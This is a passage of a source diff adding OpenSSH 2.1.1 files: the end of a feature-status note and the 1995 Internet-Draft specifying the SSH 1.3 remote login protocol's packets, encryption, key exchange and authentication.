ssh-keygen -f /privatekey/from/openssh -x > ~/.ssh2/mykey.pub + echo Key mykey.pub >> ~/.ssh2/authorization + +works: + secsh-transport: works w/o rekey + proposal exchange, i.e. different enc/mac/comp per direction + encryption: blowfish-cbc, 3des-cbc, arcfour, cast128-cbc + mac: hmac-md5, hmac-sha1, (hmac-ripemd160) + compression: zlib, none + secsh-userauth: passwd and pubkey with DSA + secsh-connection: pty+shell or command, flow control works (window adjust) + tcp-forwarding: -L works, -R incomplete + x11-fwd + dss/dsa: host key database in ~/.ssh/known_hosts2 + client interops w/ sshd2, lshd + server interops w/ ssh2, lsh, ssh.com's Windows client, SecureCRT, F-Secure SSH Client 4.0, SecureFX (secure ftp) + server supports multiple concurrent sessions (e.g. with SSH.com Windows client) +todo: + re-keying + secsh-connection features: + tcp-forwarding, agent-fwd + auth other than passwd, and DSA-pubkey: + keyboard-interactive, (PGP-pubkey?) + config + server-auth w/ old host-keys + cleanup + advanced key storage? + keynote + sftp + +-markus +$Date: 2000/05/07 18:30:03 $ diff --git a/other/openssh-2.1.1p4/RFC.nroff b/other/openssh-2.1.1p4/RFC.nroff new file mode 100644 index 0000000..dccc954 --- /dev/null +++ b/other/openssh-2.1.1p4/RFC.nroff @@ -0,0 +1,1780 @@ +.\" -*- nroff -*- +.\" +.\" $Id: RFC.nroff,v 1.1 1999/09/26 20:53:32 deraadt Exp $ +.\" +.pl 10.0i +.po 0 +.ll 7.2i +.lt 7.2i +.nr LL 7.2i +.nr LT 7.2i +.ds LF Ylonen +.ds RF FORMFEED[Page %] +.ds CF +.ds LH Internet-Draft +.ds RH 15 November 1995 +.ds CH SSH (Secure Shell) Remote Login Protocol +.na +.hy 0 +.in 0 +Network Working Group T. Ylonen +Internet-Draft Helsinki University of Technology +draft-ylonen-ssh-protocol-00.txt 15 November 1995 +Expires: 15 May 1996 + +.in 3 + +.ce +The SSH (Secure Shell) Remote Login Protocol + +.ti 0 +Status of This Memo + +This document is an Internet-Draft. Internet-Drafts are working +documents of the Internet Engineering Task Force (IETF), its areas, +and its working groups. Note that other groups may also distribute +working documents as Internet-Drafts. + +Internet-Drafts are draft documents valid for a maximum of six +months and may be updated, replaced, or obsoleted by other docu- +ments at any time. It is inappropriate to use Internet-Drafts as +reference material or to cite them other than as ``work in pro- +gress.'' + +To learn the current status of any Internet-Draft, please check the +``1id-abstracts.txt'' listing contained in the Internet- Drafts Shadow +Directories on ftp.is.co.za (Africa), nic.nordu.net (Europe), +munnari.oz.au (Pacific Rim), ds.internic.net (US East Coast), or +ftp.isi.edu (US West Coast). + +The distribution of this memo is unlimited. + +.ti 0 +Introduction + +SSH (Secure Shell) is a program to log into another computer over a +network, to execute commands in a remote machine, and to move files +from one machine to another. It provides strong authentication and +secure communications over insecure networks. Its features include +the following: +.IP o +Closes several security holes (e.g., IP, routing, and DNS spoofing). +New authentication methods: .rhosts together with RSA [RSA] based host +authentication, and pure RSA authentication. +.IP o +All communications are automatically and transparently encrypted. +Encryption is also used to protect integrity. +.IP o +X11 connection forwarding provides secure X11 sessions. +.IP o +Arbitrary TCP/IP ports can be redirected over the encrypted channel +in both directions. +.IP o +Client RSA-authenticates the server machine in the beginning of every +connection to prevent trojan horses (by routing or DNS spoofing) and +man-in-the-middle attacks, and the server RSA-authenticates the client +machine before accepting .rhosts or /etc/hosts.equiv authentication +(to prevent DNS, routing, or IP spoofing). +.IP o +An authentication agent, running in the user's local workstation or +laptop, can be used to hold the user's RSA authentication keys. +.RT + +The goal has been to make the software as easy to use as possible for +ordinary users. The protocol has been designed to be as secure as +possible while making it possible to create implementations that +are easy to use and install. The sample implementation has a number +of convenient features that are not described in this document as they +are not relevant for the protocol. + + +.ti 0 +Overview of the Protocol + +The software consists of a server program running on a server machine, +and a client program running on a client machine (plus a few auxiliary +programs). The machines are connected by an insecure IP [RFC0791] +network (that can be monitored, tampered with, and spoofed by hostile +parties). + +A connection is always initiated by the client side. The server +listens on a specific port waiting for connections. Many clients may +connect to the same server machine. + +The client and the server are connected via a TCP/IP [RFC0793] socket +that is used for bidirectional communication. Other types of +transport can be used but are currently not defined. + +When the client connects the server, the server accepts the connection +and responds by sending back its version identification string. The +client parses the server's identification, and sends its own +identification. The purpose of the identification strings is to +validate that the connection was to the correct port, declare the +protocol version number used, and to declare the software version used +on each side (for debugging purposes). The identification strings are +human-readable. If either side fails to understand or support the +other side's version, it closes the connection. + +After the protocol identification phase, both sides switch to a packet +based binary protocol. The server starts by sending its host key +(every host has an RSA key used to authenticate the host), server key +(an RSA key regenerated every hour), and other information to the +client. The client then generates a 256 bit session key, encrypts it +using both RSA keys (see below for details), and sends the encrypted +session key and selected cipher type to the server. Both sides then +turn on encryption using the selected algorithm and key. The server +sends an encrypted confirmation message to the client. + +The client then authenticates itself using any of a number of +authentication methods. The currently supported authentication +methods are .rhosts or /etc/hosts.equiv authentication (disabled by +default), the same with RSA-based host authentication, RSA +authentication, and password authentication. + +After successful authentication, the client makes a number of requests +to prepare for the session. Typical requests include allocating a +pseudo tty, starting X11 [X11] or TCP/IP port forwarding, starting +authentication agent forwarding, and executing the shell or a command. + +When a shell or command is executed, the connection enters interactive +session mode. In this mode, data is passed in both directions, +new forwarded connections may be opened, etc. The interactive session +normally terminates when the server sends the exit status of the +program to the client. + + +The protocol makes several reservations for future extensibility. +First of all, the initial protocol identification messages include the +protocol version number. Second, the first packet by both sides +includes a protocol flags field, which can be used to agree on +extensions in a compatible manner. Third, the authentication and +session preparation phases work so that the client sends requests to +the server, and the server responds with success or failure. If the +client sends a request that the server does not support, the server +simply returns failure for it. This permits compatible addition of +new authentication methods and preparation operations. The +interactive session phase, on the other hand, works asynchronously and +does not permit the use of any extensions (because there is no easy +and reliable way to signal rejection to the other side and problems +would be hard to debug). Any compatible extensions to this phase must +be agreed upon during any of the earlier phases. + +.ti 0 +The Binary Packet Protocol + +After the protocol identification strings, both sides only send +specially formatted packets. The packet layout is as follows: +.IP o +Packet length: 32 bit unsigned integer, coded as four 8-bit bytes, msb +first. Gives the length of the packet, not including the length field +and padding. The maximum length of a packet (not including the length +field and padding) is 262144 bytes. +.IP o +Padding: 1-8 bytes of random data (or zeroes if not encrypting). The +amount of padding is (8 - (length % 8)) bytes (where % stands for the +modulo operator). The rationale for always having some random padding +at the beginning of each packet is to make known plaintext attacks +more difficult. +.IP o +Packet type: 8-bit unsigned byte. The value 255 is reserved for +future extension. +.IP o +Data: binary data bytes, depending on the packet type. The number of +data bytes is the "length" field minus 5. +.IP o +Check bytes: 32-bit crc, four 8-bit bytes, msb first. The crc is the +Cyclic Redundancy Check, with the polynomial 0xedb88320, of the +Padding, Packet type, and Data fields. The crc is computed before +any encryption. +.RT + +The packet, except for the length field, may be encrypted using any of +a number of algorithms. The length of the encrypted part (Padding + +Type + Data + Check) is always a multiple of 8 bytes. Typically the +cipher is used in a chained mode, with all packets chained together as +if it was a single data stream (the length field is never included in +the encryption process). Details of encryption are described below. + +When the session starts, encryption is turned off. Encryption is +enabled after the client has sent the session key. The encryption +algorithm to use is selected by the client. + + +.ti 0 +Packet Compression + +If compression is supported (it is an optional feature, see +SSH_CMSG_REQUEST_COMPRESSION below), the packet type and data fields +of the packet are compressed using the gzip deflate algorithm [GZIP]. +If compression is in effect, the packet length field indicates the +length of the compressed data, plus 4 for the crc. The amount of +padding is computed from the compressed data, so that the amount of +data to be encrypted becomes a multiple of 8 bytes. + +When compressing, the packets (type + data portions) in each direction +are compressed as if they formed a continuous data stream, with only the +current compression block flushed between packets. This corresponds +to the GNU ZLIB library Z_PARTIAL_FLUSH option. The compression +dictionary is not flushed between packets. The two directions are +compressed independently of each other. + + +.ti 0 +Packet Encryption + +The protocol supports several encryption methods. During session +initialization, the server sends a bitmask of all encryption methods +that it supports, and the client selects one of these methods. The +client also generates a 256-bit random session key (32 8-bit bytes) and +sends it to the server. + +The encryption methods supported by the current implementation, and +their codes are: +.TS +center; +l r l. +SSH_CIPHER_NONE 0 No encryption +SSH_CIPHER_IDEA 1 IDEA in CFB mode +SSH_CIPHER_DES 2 DES in CBC mode +SSH_CIPHER_3DES 3 Triple-DES in CBC mode +SSH_CIPHER_TSS 4 An experimental stream cipher +SSH_CIPHER_RC4 5 RC4 +.TE + +All implementations are required to support SSH_CIPHER_DES and +SSH_CIPHER_3DES. Supporting SSH_CIPHER_IDEA, SSH_CIPHER_RC4, and +SSH_CIPHER_NONE is recommended. Support for SSH_CIPHER_TSS is +optional (and it is not described in this document). Other ciphers +may be added at a later time; support for them is optional. + +For encryption, the encrypted portion of the packet is considered a +linear byte stream. The length of the stream is always a multiple of +8. The encrypted portions of consecutive packets (in the same +direction) are encrypted as if they were a continuous buffer (that is, +any initialization vectors are passed from the previous packet to the +next packet). Data in each direction is encrypted independently. +.IP SSH_CIPHER_DES +The key is taken from the first 8 bytes of the session key. The least +significant bit of each byte is ignored. This results in 56 bits of +key data. DES [DES] is used in CBC mode. The iv (initialization vector) is +initialized to all zeroes. +.IP SSH_CIPHER_3DES +The variant of triple-DES used here works as follows: there are three +independent DES-CBC ciphers, with independent initialization vectors. +The data (the whole encrypted data stream) is first encrypted with the +first cipher, then decrypted with the second cipher, and finally +encrypted with the third cipher. All these operations are performed +in CBC mode. + +The key for the first cipher is taken from the first 8 bytes of the +session key; the key for the next cipher from the next 8 bytes, and +the key for the third cipher from the following 8 bytes. All three +initialization vectors are initialized to zero. + +(Note: the variant of 3DES used here differs from some other +descriptions.) +.IP SSH_CIPHER_IDEA +The key is taken from the first 16 bytes of the session key. IDEA +[IDEA] is used in CFB mode. The initialization vector is initialized +to all zeroes. +.IP SSH_CIPHER_TSS +All 32 bytes of the session key are used as the key. + +There is no reference available for the TSS algorithm; it is currently +only documented in the sample implementation source code. The +security of this cipher is unknown (but it is quite fast). The cipher +is basically a stream cipher that uses MD5 as a random number +generator and takes feedback from the data. +.IP SSH_CIPHER_RC4 +The first 16 bytes of the session key are used as the key for the +server to client direction. The remaining 16 bytes are used as the +key for the client to server direction. This gives independent +128-bit keys for each direction. + +This algorithm is the alleged RC4 cipher posted to the Usenet in 1995. +It is widely believed to be equivalent with the original RSADSI RC4 +cipher. This is a very fast algorithm. +.RT + + +.ti 0 +Data Type Encodings + +The Data field of each packet contains data encoded as described in +this section. There may be several data items; each item is coded as +described here, and their representations are concatenated together +(without any alignment or padding). + +Each data type is stored as follows: +.IP "8-bit byte" +The byte is stored directly as a single byte. +.IP "32-bit unsigned integer" +Stored in 4 bytes, msb first. +.IP "Arbitrary length binary string" +First 4 bytes are the length of the string, msb first (not including +the length itself). The following "length" bytes are the string +value. There are no terminating null characters. +.IP "Multiple-precision integer" +First 2 bytes are the number of bits in the integer, msb first (for +example, the value 0x00012345 would have 17 bits). The value zero has +zero bits. It is permissible that the number of bits be larger than the +real number of bits. + +The number of bits is followed by (bits + 7) / 8 bytes of binary data, +msb first, giving the value of the integer. +.RT + + +.ti 0 +TCP/IP Port Number and Other Options + +The server listens for connections on TCP/IP port 22. + +The client may connect the server from any port. However, if the +client wishes to use any form of .rhosts or /etc/hosts.equiv +authentication, it must connect from a privileged port (less than +1024). + +For the IP Type of Service field [RFC0791], it is recommended that +interactive sessions (those having a user terminal or forwarding X11 +connections) use the IPTOS_LOWDELAY, and non-interactive connections +use IPTOS_THROUGHPUT. + +It is recommended that keepalives are used, because otherwise programs +on the server may never notice if the other end of the connection is +rebooted. + + +.ti 0 +Protocol Version Identification + +After the socket is opened, the server sends an identification string, +which is of the form +"SSH-.-\\n", where + and are integers and specify the +protocol version number (not software distribution version). + is server side software version string (max 40 characters); +it is not interpreted by the remote side but may be useful for +debugging. + +The client parses the server's string, and sends a corresponding +string with its own information in response. If the server has lower +version number, and the client contains special code to emulate it, +the client responds with the lower number; otherwise it responds with +its own number. The server then compares the version number the +client sent with its own, and determines whether they can work +together. The server either disconnects, or sends the first packet +using the binary packet protocol and both sides start working +according to the lower of the protocol versions. + +By convention, changes which keep the protocol compatible with +previous versions keep the same major protocol version; changes that +are not compatible increment the major version (which will hopefully +never happen). The version described in this document is 1.3. + +The client will + +.ti 0 +Key Exchange and Server Host Authentication + +The first message sent by the server using the packet protocol is +SSH_SMSG_PUBLIC_KEY. It declares the server's host key, server public +key, supported ciphers, supported authentication methods, and flags +for protocol extensions. It also contains a 64-bit random number +(cookie) that must be returned in the client's reply (to make IP +spoofing more difficult). No encryption is used for this message. + +Both sides compute a session id as follows. The modulus of the server +key is interpreted as a byte string (without explicit length field, +with minimum length able to hold the whole value), most significant +byte first. This string is concatenated with the server host key +interpreted the same way. Additionally, the cookie is concatenated +with this. Both sides compute MD5 of the resulting string. The +resulting 16 bytes (128 bits) are stored by both parties and are +called the session id. + +The client responds with a SSH_CMSG_SESSION_KEY message, which +contains the selected cipher type, a copy of the 64-bit cookie sent by +the server, client's protocol flags, and a session key encrypted +with both the server's host key and server key. No encryption is used +for this message. + +The session key is 32 8-bit bytes (a total of 256 random bits +generated by the client). The client first xors the 16 bytes of the +session id with the first 16 bytes of the session key. The resulting +string is then encrypted using the smaller key (one with smaller +modulus), and the result is then encrypted using the other key. The +number of bits in the public modulus of the two keys must differ by at +least 128 bits. + +At each encryption step, a multiple-precision integer is constructed +from the data to be encrypted as follows (the integer is here +interpreted as a sequence of bytes, msb first; the number of bytes is +the number of bytes needed to represent the modulus). + +The most significant byte (which is only partial as the value must be +less than the public modulus, which is never a power of two) is zero. + +The next byte contains the value 2 (which stands for public-key +encrypted data in the PKCS standard [PKCS#1]). Then, there are +non-zero random bytes to fill any unused space, a zero byte, and the +data to be encrypted in the least significant bytes, the last byte of +the data in the least significant byte. + +This algorithm is used twice. First, it is used to encrypt the 32 +random bytes generated by the client to be used as the session key +(xored by the session id). This value is converted to an integer as +described above, and encrypted with RSA using the key with the smaller +modulus. The resulting integer is converted to a byte stream, msb +first. This byte stream is padded and encrypted identically using the +key with the larger modulus. + +After the client has sent the session key, it starts to use the +selected algorithm and key for decrypting any received packets, and +for encrypting any sent packets. Separate ciphers are used for +different directions (that is, both directions have separate +initialization vectors or other state for the ciphers). + +When the server has received the session key message, and has turned +on encryption, it sends a SSH_SMSG_SUCCESS message to the client. + +The recommended size of the host key is 1024 bits, and 768 bits for +the server key. The minimum size is 512 bits for the smaller key. + + +.ti 0 +Declaring the User Name + +The client then sends a SSH_CMSG_USER message to the server. This +message specifies the user name to log in as. + +The server validates that such a user exists, checks whether +authentication is needed, and responds with either SSH_SMSG_SUCCESS or +SSH_SMSG_FAILURE. SSH_SMSG_SUCCESS indicates that no authentication +is needed for this user (no password), and authentication phase has +now been completed. SSH_SMSG_FAILURE indicates that authentication is +needed (or the user does not exist). + +If the user does not exist, it is recommended that this returns +failure, but the server keeps reading messages from the client, and +responds to any messages (except SSH_MSG_DISCONNECT, SSH_MSG_IGNORE, +and SSH_MSG_DEBUG) with SSH_SMSG_FAILURE. This way the client cannot +be certain whether the user exists. + + +.ti 0 +Authentication Phase + +Provided the server didn't immediately accept the login, an +authentication exchange begins. The client sends messages to the +server requesting different types of authentication in arbitrary order as +many times as desired (however, the server may close the connection +after a timeout). The server always responds with SSH_SMSG_SUCCESS if +it has accepted the authentication, and with SSH_SMSG_FAILURE if it has +denied authentication with the requested method or it does not +recognize the message. Some authentication methods cause an exchange +of further messages before the final result is sent. The +authentication phase ends when the server responds with success. + +The recommended value for the authentication timeout (timeout before +disconnecting if no successful authentication has been made) is 5 +minutes. + +The following authentication methods are currently supported: +.TS +center; +l r l. +SSH_AUTH_RHOSTS 1 .rhosts or /etc/hosts.equiv +SSH_AUTH_RSA 2 pure RSA authentication +SSH_AUTH_PASSWORD 3 password authentication +SSH_AUTH_RHOSTS_RSA 4 .rhosts with RSA host authentication +.TE +.IP SSH_AUTH_RHOSTS + +This is the authentication method used by rlogin and rsh [RFC1282]. + +The client sends SSH_CMSG_AUTH_RHOSTS with the client-side user name +as an argument. + +The server checks whether to permit authentication. On UNIX systems, +this is usually done by checking /etc/hosts.equiv, and .rhosts in the +user's home directory. The connection must come from a privileged +port. + +It is recommended that the server checks that there are no IP options +(such as source routing) specified for the socket before accepting +this type of authentication. The client host name should be +reverse-mapped and then forward mapped to ensure that it has the +proper IP-address. + +This authentication method trusts the remote host (root on the remote +host can pretend to be any other user on that host), the name +services, and partially the network: anyone who can see packets coming +out from the server machine can do IP-spoofing and pretend to be any +machine; however, the protocol prevents blind IP-spoofing (which used +to be possible with rlogin). + +Many sites probably want to disable this authentication method because +of the fundamental insecurity of conventional .rhosts or +/etc/hosts.equiv authentication when faced with spoofing. It is +recommended that this method not be supported by the server by +default. +.IP SSH_AUTH_RHOSTS_RSA + +In addition to conventional .rhosts and hosts.equiv authentication, +this method additionally requires that the client host be +authenticated using RSA. + +The client sends SSH_CMSG_AUTH_RHOSTS_RSA specifying the client-side +user name, and the public host key of the client host. + +The server first checks if normal .rhosts or /etc/hosts.equiv +authentication would be accepted, and if not, responds with +SSH_SMSG_FAILURE. Otherwise, it checks whether it knows the host key +for the client machine (using the same name for the host that was used +for checking the .rhosts and /etc/hosts.equiv files). If it does not +know the RSA key for the client, access is denied and SSH_SMSG_FAILURE +is sent. + +If the server knows the host key of the client machine, it verifies +that the given host key matches that known for the client. If not, +access is denied and SSH_SMSG_FAILURE is sent. + +The server then sends a SSH_SMSG_AUTH_RSA_CHALLENGE message containing +an encrypted challenge for the client. The challenge is 32 8-bit +random bytes (256 bits). When encrypted, the highest (partial) byte +is left as zero, the next byte contains the value 2, the following are +non-zero random bytes, followed by a zero byte, and the challenge put +in the remaining bytes. This is then encrypted using RSA with the +client host's public key. (The padding and encryption algorithm is +the same as that used for the session key.) + +The client decrypts the challenge using its private host key, +concatenates this with the session id, and computes an MD5 checksum +of the resulting 48 bytes. The MD5 output is returned as 16 bytes in +a SSH_CMSG_AUTH_RSA_RESPONSE message. (MD5 is used to deter chosen +plaintext attacks against RSA; the session id binds it to a specific +session). + +The server verifies that the MD5 of the decrypted challenge returned by +the client matches that of the original value, and sends SSH_SMSG_SUCCESS if +so. Otherwise it sends SSH_SMSG_FAILURE and refuses the +authentication attempt. + +This authentication method trusts the client side machine in that root +on that machine can pretend to be any user on that machine. +Additionally, it trusts the client host key. The name and/or IP +address of the client host is only used to select the public host key. +The same host name is used when scanning .rhosts or /etc/hosts.equiv +and when selecting the host key. It would in principle be possible to +eliminate the host name entirely and substitute it directly by the +host key. IP and/or DNS [RFC1034] spoofing can only be used +to pretend to be a host for which the attacker has the private host +key. +.IP SSH_AUTH_RSA + +The idea behind RSA authentication is that the server recognizes the +public key offered by the client, generates a random challenge, and +encrypts the challenge with the public key. The client must then +prove that it has the corresponding private key by decrypting the +challenge. + +The client sends SSH_CMSG_AUTH_RSA with public key modulus (n) as an +argument. + +The server may respond immediately with SSH_SMSG_FAILURE if it does +not permit authentication with this key. Otherwise it generates a +challenge, encrypts it using the user's public key (stored on the +server and identified using the modulus), and sends +SSH_SMSG_AUTH_RSA_CHALLENGE with the challenge (mp-int) as an +argument. + +The challenge is 32 8-bit random bytes (256 bits). When encrypted, +the highest (partial) byte is left as zero, the next byte contains the +value 2, the following are non-zero random bytes, followed by a zero +byte, and the challenge put in the remaining bytes. This is then +encrypted with the public key. (The padding and encryption algorithm +is the same as that used for the session key.) + +The client decrypts the challenge using its private key, concatenates +it with the session id, and computes an MD5 checksum of the resulting +48 bytes. The MD5 output is returned as 16 bytes in a +SSH_CMSG_AUTH_RSA_RESPONSE message. (Note that the MD5 is necessary +to avoid chosen plaintext attacks against RSA; the session id binds it +to a specific session.) + +The server verifies that the MD5 of the decrypted challenge returned +by the client matches that of the original value, and sends +SSH_SMSG_SUCCESS if so. Otherwise it sends SSH_SMSG_FAILURE and +refuses the authentication attempt. + +This authentication method does not trust the remote host, the +network, name services, or anything else. Authentication is based +solely on the possession of the private identification keys. Anyone +in possession of the private keys can log in, but nobody else. + +The server may have additional requirements for a successful +authentiation. For example, to limit damage due to a compromised RSA +key, a server might restrict access to a limited set of hosts. +.IP SSH_AUTH_PASSWORD + +The client sends a SSH_CMSG_AUTH_PASSWORD message with the plain text +password. (Note that even though the password is plain text inside +the message, it is normally encrypted by the packet mechanism.) + +The server verifies the password, and sends SSH_SMSG_SUCCESS if +authentication was accepted and SSH_SMSG_FAILURE otherwise. + +Note that the password is read from the user by the client; the user +never interacts with a login program. + +This authentication method does not trust the remote host, the +network, name services or anything else. Authentication is based +solely on the possession of the password. Anyone in possession of the +password can log in, but nobody else. +.RT + +.ti 0 +Preparatory Operations + +After successful authentication, the server waits for a request from +the client, processes the request, and responds with SSH_SMSG_SUCCESS +whenever a request has been successfully processed. If it receives a +message that it does not recognize or it fails to honor a request, it +returns SSH_SMSG_FAILURE. It is expected that new message types might +be added to this phase in future. + +The following messages are currently defined for this phase. +.IP SSH_CMSG_REQUEST_COMPRESSION +Requests that compression be enabled for this session. A +gzip-compatible compression level (1-9) is passed as an argument. +.IP SSH_CMSG_REQUEST_PTY +Requests that a pseudo terminal device be allocated for this session. +The user terminal type and terminal modes are supplied as arguments. +.IP SSH_CMSG_X11_REQUEST_FORWARDING +Requests forwarding of X11 connections from the remote machine to the +local machine over the secure channel. Causes an internet-domain +socket to be allocated and the DISPLAY variable to be set on the server. +X11 authentication data is automatically passed to the server, and the +client may implement spoofing of authentication data for added +security. The authentication data is passed as arguments. +.IP SSH_CMSG_PORT_FORWARD_REQUEST +Requests forwarding of a TCP/IP port on the server host over the +secure channel. What happens is that whenever a connection is made to +the port on the server, a connection will be made from the client end +to the specified host/port. Any user can forward unprivileged ports; +only the root can forward privileged ports (as determined by +authentication done earlier). +.IP SSH_CMSG_AGENT_REQUEST_FORWARDING +Requests forwarding of the connection to the authentication agent. +.IP SSH_CMSG_EXEC_SHELL +Starts a shell (command interpreter) for the user, and moves into +interactive session mode. +.IP SSH_CMSG_EXEC_CMD +Executes the given command (actually " -c " or +equivalent) for the user, and moves into interactive session mode. +.RT + + +.ti 0 +Interactive Session and Exchange of Data + +During the interactive session, any data written by the shell or +command running on the server machine is forwarded to stdin or +stderr on the client machine, and any input available from stdin on +the client machine is forwarded to the program on the server machine. + +All exchange is asynchronous; either side can send at any time, and +there are no acknowledgements (TCP/IP already provides reliable +transport, and the packet protocol protects against tampering or IP +spoofing). + +When the client receives EOF from its standard input, it will send +SSH_CMSG_EOF; however, this in no way terminates the exchange. The +exchange terminates and interactive mode is left when the server sends +SSH_SMSG_EXITSTATUS to indicate that the client program has +terminated. Alternatively, either side may disconnect at any time by +sending SSH_MSG_DISCONNECT or closing the connection. + +The server may send any of the following messages: +.IP SSH_SMSG_STDOUT_DATA +Data written to stdout by the program running on the server. The data +is passed as a string argument. The client writes this data to +stdout. +.IP SSH_SMSG_STDERR_DATA +Data written to stderr by the program running on the server. The data +is passed as a string argument. The client writes this data to +stderr. (Note that if the program is running on a tty, it is not +possible to separate stdout and stderr data, and all data will be sent +as stdout data.) +.IP SSH_SMSG_EXITSTATUS +Indicates that the shell or command has exited. Exit status is passed +as an integer argument. This message causes termination of the +interactive session. +.IP SSH_SMSG_AGENT_OPEN +Indicates that someone on the server side is requesting a connection +to the authentication agent. The server-side channel number is passed +as an argument. The client must respond with either +SSH_CHANNEL_OPEN_CONFIRMATION or SSH_CHANNEL_OPEN_FAILURE. +.IP SSH_SMSG_X11_OPEN +Indicates that a connection has been made to the X11 socket on the +server side and should be forwarded to the real X server. An integer +argument indicates the channel number allocated for this connection on +the server side. The client should send back either +SSH_MSG_CHANNEL_OPEN_CONFIRMATION or SSH_MSG_CHANNEL_OPEN_FAILURE with +the same server side channel number. +.IP SSH_MSG_PORT_OPEN +Indicates that a connection has been made to a port on the server side +for which forwarding has been requested. Arguments are server side +channel number, host name to connect to, and port to connect to. The +client should send back either +SSH_MSG_CHANNEL_OPEN_CONFIRMATION or SSH_MSG_CHANNEL_OPEN_FAILURE with +the same server side channel number. +.IP SSH_MSG_CHANNEL_OPEN_CONFIRMATION +This is sent by the server to indicate that it has opened a connection +as requested in a previous message. The first argument indicates the +client side channel number, and the second argument is the channel number +that the server has allocated for this connection. +.IP SSH_MSG_CHANNEL_OPEN_FAILURE +This is sent by the server to indicate that it failed to open a +connection as requested in a previous message. The client-side +channel number is passed as an argument. The client will close the +descriptor associated with the channel and free the channel. +.IP SSH_MSG_CHANNEL_DATA +This packet contains data for a channel from the server. The first +argument is the client-side channel number, and the second argument (a +string) is the data. +.IP SSH_MSG_CHANNEL_CLOSE +This is sent by the server to indicate that whoever was in the other +end of the channel has closed it. The argument is the client side channel +number. The client will let all buffered data in the channel to +drain, and when ready, will close the socket, free the channel, and +send the server a SSH_MSG_CHANNEL_CLOSE_CONFIRMATION message for the +channel. +.IP SSH_MSG_CHANNEL_CLOSE_CONFIRMATION +This is send by the server to indicate that a channel previously +closed by the client has now been closed on the server side as well. +The argument indicates the client channel number. The client frees +the channel. +.RT + +The client may send any of the following messages: +.IP SSH_CMSG_STDIN_DATA +This is data to be sent as input to the program running on the server. +The data is passed as a string. +.IP SSH_CMSG_EOF +Indicates that the client has encountered EOF while reading standard +input. The server will allow any buffered input data to drain, and +will then close the input to the program. +.IP SSH_CMSG_WINDOW_SIZE +Indicates that window size on the client has been changed. The server +updates the window size of the tty and causes SIGWINCH to be sent to +the program. The new window size is passed as four integer arguments: +row, col, xpixel, ypixel. +.IP SSH_MSG_PORT_OPEN +Indicates that a connection has been made to a port on the client side +for which forwarding has been requested. Arguments are client side +channel number, host name to connect to, and port to connect to. The +server should send back either SSH_MSG_CHANNEL_OPEN_CONFIRMATION or +SSH_MSG_CHANNEL_OPEN_FAILURE with the same client side channel number. +.IP SSH_MSG_CHANNEL_OPEN_CONFIRMATION +This is sent by the client to indicate that it has opened a connection +as requested in a previous message. The first argument indicates the +server side channel number, and the second argument is the channel +number that the client has allocated for this connection. +.IP SSH_MSG_CHANNEL_OPEN_FAILURE +This is sent by the client to indicate that it failed to open a +connection as requested in a previous message. The server side +channel number is passed as an argument. The server will close the +descriptor associated with the channel and free the channel. +.IP SSH_MSG_CHANNEL_DATA +This packet contains data for a channel from the client. The first +argument is the server side channel number, and the second argument (a +string) is the data. +.IP SSH_MSG_CHANNEL_CLOSE +This is sent by the client to indicate that whoever was in the other +end of the channel has closed it. The argument is the server channel +number. The server will allow buffered data to drain, and when ready, +will close the socket, free the channel, and send the client a +SSH_MSG_CHANNEL_CLOSE_CONFIRMATION message for the channel. +.IP SSH_MSG_CHANNEL_CLOSE_CONFIRMATION +This is send by the client to indicate that a channel previously +closed by the server has now been closed on the client side as well. +The argument indicates the server channel number. The server frees +the channel. +.RT + +Any unsupported messages during interactive mode cause the connection +to be terminated with SSH_MSG_DISCONNECT and an error message. +Compatible protocol upgrades should agree about any extensions during +the preparation phase or earlier. + + +.ti 0 +Termination of the Connection + +Normal termination of the connection is always initiated by the server +by sending SSH_SMSG_EXITSTATUS after the program has exited. The +client responds to this message by sending SSH_CMSG_EXIT_CONFIRMATION +and closes the socket; the server then closes the socket. There are +two purposes for the confirmation: some systems may lose previously +sent data when the socket is closed, and closing the client side first +causes any TCP/IP TIME_WAIT [RFC0793] waits to occur on the client side, not +consuming server resources. + +If the program terminates due to a signal, the server will send +SSH_MSG_DISCONNECT with an appropriate message. If the connection is +closed, all file descriptors to the program will be closed and the +server will exit. If the program runs on a tty, the kernel sends it +the SIGHUP signal when the pty master side is closed. + +.ti 0 +Protocol Flags + +Both the server and the client pass 32 bits of protocol flags to the +other side. The flags are intended for compatible protocol extension; +the server first announces which added capabilities it supports, and +the client then sends the capabilities that it supports. + +The following flags are currently defined (the values are bit masks): +.IP "1 SSH_PROTOFLAG_SCREEN_NUMBER" +This flag can only be sent by the client. It indicates that the X11 +forwarding requests it sends will include the screen number. +.IP "2 SSH_PROTOFLAG_HOST_IN_FWD_OPEN" +If both sides specify this flag, SSH_SMSG_X11_OPEN and +SSH_MSG_PORT_OPEN messages will contain an additional field containing +a description of the host at the other end of the connection. +.RT + +.ti 0 +Detailed Description of Packet Types and Formats + +The supported packet types and the corresponding message numbers are +given in the following table. Messages with _MSG_ in their name may +be sent by either side. Messages with _CMSG_ are only sent by the +client, and messages with _SMSG_ only by the server. + +A packet may contain additional data after the arguments specified +below. Any such data should be ignored by the receiver. However, it +is recommended that no such data be stored without good reason. (This +helps build compatible extensions.) +.IP "0 SSH_MSG_NONE" +This code is reserved. This message type is never sent. +.IP "1 SSH_MSG_DISCONNECT" +.TS +; +l l. +string Cause of disconnection +.TE +This message may be sent by either party at any time. It causes the +immediate disconnection of the connection. The message is intended to +be displayed to a human, and describes the reason for disconnection. +.IP "2 SSH_SMSG_PUBLIC_KEY" +.TS +; +l l. +8 bytes anti_spoofing_cookie +32-bit int server_key_bits +mp-int server_key_public_exponent +mp-int server_key_public_modulus +32-bit int host_key_bits +mp-int host_key_public_exponent +mp-int host_key_public_modulus +32-bit int protocol_flags +32-bit int supported_ciphers_mask +32-bit int supported_authentications_mask +.TE +Sent as the first message by the server. This message gives the +server's host key, server key, protocol flags (intended for compatible +protocol extension), supported_ciphers_mask (which is the +bitwise or of (1 << cipher_number), where << is the left shift +operator, for all supported ciphers), and +supported_authentications_mask (which is the bitwise or of (1 << +authentication_type) for all supported authentication types). The +anti_spoofing_cookie is 64 random bytes, and must be sent back +verbatim by the client in its reply. It is used to make IP-spoofing +more difficult (encryption and host keys are the real defense against +spoofing). +.IP "3 SSH_CMSG_SESSION_KEY" +.TS +; +l l. +1 byte cipher_type (must be one of the supported values) +8 bytes anti_spoofing_cookie (must match data sent by the server) +mp-int double-encrypted session key +32-bit int protocol_flags +.TE +Sent by the client as the first message in the session. Selects the +cipher to use, and sends the encrypted session key to the server. The +anti_spoofing_cookie must be the same bytes that were sent by the +server. Protocol_flags is intended for negotiating compatible +protocol 